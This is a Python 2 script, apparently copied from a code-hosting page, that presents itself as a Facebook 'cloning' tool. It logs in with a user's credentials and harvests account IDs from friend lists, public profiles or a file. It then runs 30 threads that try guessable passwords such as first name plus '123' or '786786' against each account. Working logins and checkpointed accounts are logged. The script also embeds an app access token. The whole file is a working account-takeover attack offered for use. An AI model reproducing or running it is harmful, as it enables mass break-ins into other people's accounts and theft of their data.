/
Atif__ah.py
363 lines (343 loc) · 13 KB
/
Atif__ah.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
#!/usr/bin/python2
#coding=utf-8
import os,sys,time,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib
from multiprocessing.pool import ThreadPool
try:
import requests
except ImportError:
os.system('pip2 install requests')
try:
import mechanize
except ImportError:
os.system('pip2 install mechanize')
os.system('python2 Atif__ah.py')
from requests.exceptions import ConnectionError
from mechanize import Browser
#### browser ####
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-Agent','Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
#### colours ####
B='\033[1;94m'
R='\033[1;91m'
G='\033[1;92m'
W='\033[1;97m'
S='\033[1;96m'
P='\033[1;95m'
Y='\033[1;93m'
#### exit ####
def exb():
print (R + 'Exit')
os.sys.exit()
#### clear ####
def cb():
os.system('clear')
#### time sleep ####
def t():
time.sleep(1)
def t1():
time.sleep(0.01)
#### print std ####
def psb(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
t1()
#### token remove ####
def trb():
os.system('rm -rf token.txt')
##### LOGO #####
logo='''
\033[1;94m ┈┈┈┈╱▔▔▔▔╲┈┈┈┈☞☞☞☞☞☞\033[1;91m☜☜☜☜☜┈┈┈┈╱▔▔▔▔╲┈┈┈┈
\033[1;94m ┈┈┈▕▕ ATIF ▏▏┈┈┈☞☞☞☞☞☞\033[1;91m☜☜☜☜☜┈┈┈▕▕ AH LOVE▏▏┈┈┈
\033[1;94m ┈┈┈▕▕▂╱╲▂▏▏┈┈┈☞☞☞☞☞☞\033[1;91m☜☜☜☜☜┈┈┈▕▕▂╱╲▂▏▏┈┈┈
\033[1;94m ┈┈┈┈╲┊┊┊┊╱┈┈┈┈\033[1;94mShabirBaloch.\033[1;91m┈┈┈┈╲┊┊┊┊╱┈┈┈┈
\033[1;96m ┈┈┈┈▕╲▂▂╱▏┈┈┈┈☞☞☞☞☞☞\033[1;91m☜☜☜☜☜┈┈┈┈▕╲▂▂╱▏┈┈┈┈
\033[1;96m ╱▔▔▔▔┊┊┊┊▔▔▔▔╲☞☞☞☞☞☞\033[1;91m☜☜☜☜☜╱▔▔▔▔┊┊┊┊▔▔▔▔╲
\033[1;96m................\033[1;93mATIF HAKER AH\033[1;91m...............
\033[1;96m................\033[1;93m✬🄵🄰🄲🄴🄱🄾🄾🄺✬\033[1;91m..............
\033[1;96m░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
\033[1;91m☞ Auther : ATIF_SHIWARI_AH
\033[1;92m☞ WhatsApp : 03035500504
\033[1;95m☞ YouTube : https://youtube.com/channel/UCRmelmkvedRPxgjXssOLdXg
\033[1;93m░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
'''
back=0
successfull=[]
checkpoint=[]
oks=[]
cps=[]
id=[]
#### login ####
def login():
cb()
try:
tb=open('token.txt', 'r')
menu()
except (KeyError,IOError):
cb()
print (logo)
print (R + '◈━━━━▷' + S + ' Login With ✬🄵🄰🄲🄴🄱🄾🄾🄺✬ ' + R + '◁━━━━◈')
print
id=raw_input(S + '[☆] ' + S + 'Email: ' + G +'')
pwd=getpass.getpass(S + '[♡] ' + R + 'Password : ')
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pwd)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
z=json.load(data)
if 'access_token' in z:
st = open("token.txt", "w")
st.write(z["access_token"])
st.close()
print (S + '[☆]' + Y + ' Login successfull 100% ✓')
os.system('xdg-open https://youtube.com/channel/UCRmelmkvedRPxgjXssOLdXg')
menu()
else:
if "www.facebook.com" in z["error_msg"]:
print (R + 'Account has a checkpoint !')
t()
login()
else:
print (R + 'number/user id/ password is wrong !')
trb()
t()
login()
def menu():
cb()
try:
tb=open('token.txt','r').read()
except IOError:
print (R + 'Token Invalid !')
trb()
t()
login()
try:
otw=requests.get('https://graph.facebook.com/me?access_token='+tb)
a=json.loads(otw.text)
except KeyError:
print (G + 'Account has a checkpoint !')
trb()
t()
login()
except requests.exceptions.ConnectionError:
print (W + 'No internet connection !')
t()
exb()
cb()
print (logo)
print (S + '[☆] ' + G + 'ID Name: ' + R + a['name'])
print (S + '[☆] ' + G + 'User ID: ' + R + a['id'])
print
print (S + 50*'-')
print
print (S + '[' + P + '☞1' + S + ']' + S + ' Fast Cloning New Update')
print (S + '[' + P + '☞2' + S + ']' + S + ' Update B4_BALOCH Tool')
print (S + '[' + P + '☞3' + S + ']' + S + ' B4_BALOCH WhatsApp Group')
print (S + '[' + Y + '☞4' + S + ']' + G + ' Log Out')
print (S + '[' + Y + '☞0' + S + ']' + R + ' Exit')
print
print (S + 50*'-')
print
mb()
def mb():
bm=raw_input(W + ' ✬🄵🄰🄲🄴🄱🄾🄾🄺✬ ')
if bm =='':
print (R + 'Select a valid option !')
mb()
elif bm =='1':
pak()
elif bm =='2':
os.system('rm -rf $HOME/ATIF_AH')
os.system('cd $HOME && git clone https://github.com/atif_shiwari_ah')
cb()
print (logo)
psb('☆10%')
psb('☆☆20%')
psb('☆☆☆30%')
psb('☆☆☆☆40%')
psb('☆☆☆☆☆50%')
psb('☆☆☆☆☆☆60%')
psb('☆☆☆☆☆☆☆70%')
psb('☆☆☆☆☆☆☆☆80%')
psb('☆☆☆☆☆☆☆☆☆90%')
psb('☆☆☆☆☆☆☆☆☆☆100%')
psb('Frends login new Account✓')
psb('WhatsApp Num 03035500504✓')
psb('WellCome To Atif_Shiwari AH')
psb('Congratulations Atif_L_AH Tool Has Been Updated Successfully')
psb('🔓User Name☆ Atif✓')
psb('🔓Password ☆ Hisham✓')
psb('Subscrib My Youtube Channel TECHNICAL ATIF XIDDI✓')
psb('Please Login Again')
time.sleep(2)
os.system('cd $HOME/ATIF && python2 Atif__ah.py')
elif bm =='3':
os.system('xdg-open')
menu()
elif bm =='4':
psb('Token Has Been Removed')
trb()
t()
exb()
elif bm =='0':
exb()
else:
print (R+'Fill in correctly !')
mb()
def pak():
global tb
try:
tb=open('token.txt','r').read()
except IOError:
print (R + ' Invalid Token !')
trb()
t()
login()
cb()
print (logo)
print (S + '[' + P + '☞1' + S + ']' + P + ' Clone With Friend List')
print (S + '[' + P + '☞2' + S + ']' + P + ' Clone From Public Account')
print (S + '[' + Y + '☞3' + S + ']' + Y + ' Clone From File')
print (S + '[' + R + '☞0' + S + ']' + R + ' Back')
print
print (S + 50*'-')
print
pb()
def pb():
bp=raw_input(W + ' ✬🄵🄰🄲🄴🄱🄾🄾🄺✬ ')
if bp =='':
print (R + 'Select a valid option !')
pb()
elif bp =='1':
cb()
print (logo)
r=requests.get('https://graph.facebook.com/me/friends?access_token='+tb)
z=json.loads(r.text)
for s in z['data']:
id.append(s['id'])
elif bp=='2':
cb()
print (logo)
idt=raw_input(S + '[☆] ' + G + 'Put Public User ID/User Name: ' + W + '')
cb()
print (logo)
try:
jok=requests.get('https://graph.facebook.com/'+idt+'?access_token='+tb)
op=json.loads(jok.text)
psb(S + '[☆]' + G + ' Account Name: ' + W + op['name'])
except KeyError:
print (R + ' ID not found !')
raw_input(R + ' Back')
pak()
r=requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+tb)
z=json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif bp =='3':
cb()
print (logo)
try:
idlist=raw_input(S + '[☆] ' + R + 'Enter File Path: ' + G + '')
for line in open(idlist,'r').readlines():
id.append(line.strip())
except IOError:
print (R + ' File Not Fount !')
raw_input(R + ' Back')
pak()
elif bp =='0':
menu()
else:
print (R + ' Select a valid option !')
pb()
print (S + '[☆]' + P + ' Total Friends: ' + W + str(len(id)))
psb(S + '[☆]' + S + ' To stop process click on CTRL ~ Z')
print
print (S + 50*'-')
print
def main(arg):
global cps, oks
user=arg
try:
h=requests.get('https://graph.facebook.com/'+user+'/?access_token='+tb)
j=json.loads(h.text)
ps1=('786786')
dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='+(ps1)+'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
k=json.load(dt)
if 'www.facebook.com' in k['error_msg']:
print(S+'[CP] ♡ '+user+' ♡ '+ps1)
cps.append(user+ps1)
else:
if 'access_token' in k:
print (G+'[OK] ♡ '+user+' ♡ '+ps1)
oks.append(user+ps1)
else:
ps2=(j['first_name']+'123')
dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='+(ps2)+'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
k=json.load(dt)
if 'www.facebook.com' in k['error_msg']:
print(S+'[CP] ♡ '+user+' ♡ '+ps2)
cps.append(user+ps2)
else:
if 'access_token' in k:
print(G+'[OK] ♡ '+user+' ♡ '+ps2)
oks.append(user+ps2)
else:
ps3=(j['first_name']+'786')
dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='+(ps3)+'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
k=json.load(dt)
if 'www.facebook.com' in k['error_msg']:
print(S+'[CP] ♡ '+user+' ♡ '+ps3)
cps.append(user+ps3)
else:
if 'access_token' in k:
print(G+'[OK] ♡ '+user+' ♡ '+ps3)
oks.append(user+ps3)
else:
ps4=(j['first_name']+'12345')
dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='+(ps4)+'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
k=json.load(dt)
if 'www.facebook.com' in k['error_msg']:
print(S+'[CP] ♡ '+user+' ♡ '+ps4)
cps.append(user+ps4)
else:
if 'access_token' in k:
print(G+'[OK] ♡ '+user+' ♡ '+ps4)
oks.append(user+ps4)
else:
ps5=('Pakistan')
dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='+(ps5)+'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
k=json.load(dt)
if 'www.facebook.com' in k['error_msg']:
print(S+'[CP] ♡ '+user+' ♡ '+ps5)
cps.append(user+ps5)
else:
if 'access_token' in k:
print(G+'[OK] ♡ '+user+' ♡ '+ps5)
oks.append(user+ps5)
else:
ps6=(j['first_name']+'khan')
dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='+(ps6)+'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
k=json.load(dt)
if 'www.facebook.com' in k['error_msg']:
print(S+'[CP] ♡ '+user+' ♡ '+ps6)
cps.append(user+ps6)
else:
if 'access_token' in k:
print(G+'[OK] ♡ '+user+' ♡ '+ps6)
oks.append(user+ps6)
except:
pass
p=ThreadPool(30)
p.map(main, id)
print
print(S+50*'-')
print
print(S+'Process has been completed CP ID Open After 7 Days ')
print(Y+'Total '+G+'OK'+S+'/'+P+'CP'+S+' = '+G+str(len(oks))+S+'/'+R+str(len(cps)))
print(S+'BlackMafia')
print
raw_input(R + 'Back')
os.system('python2 AH.py')
if __name__=='__main__'
login()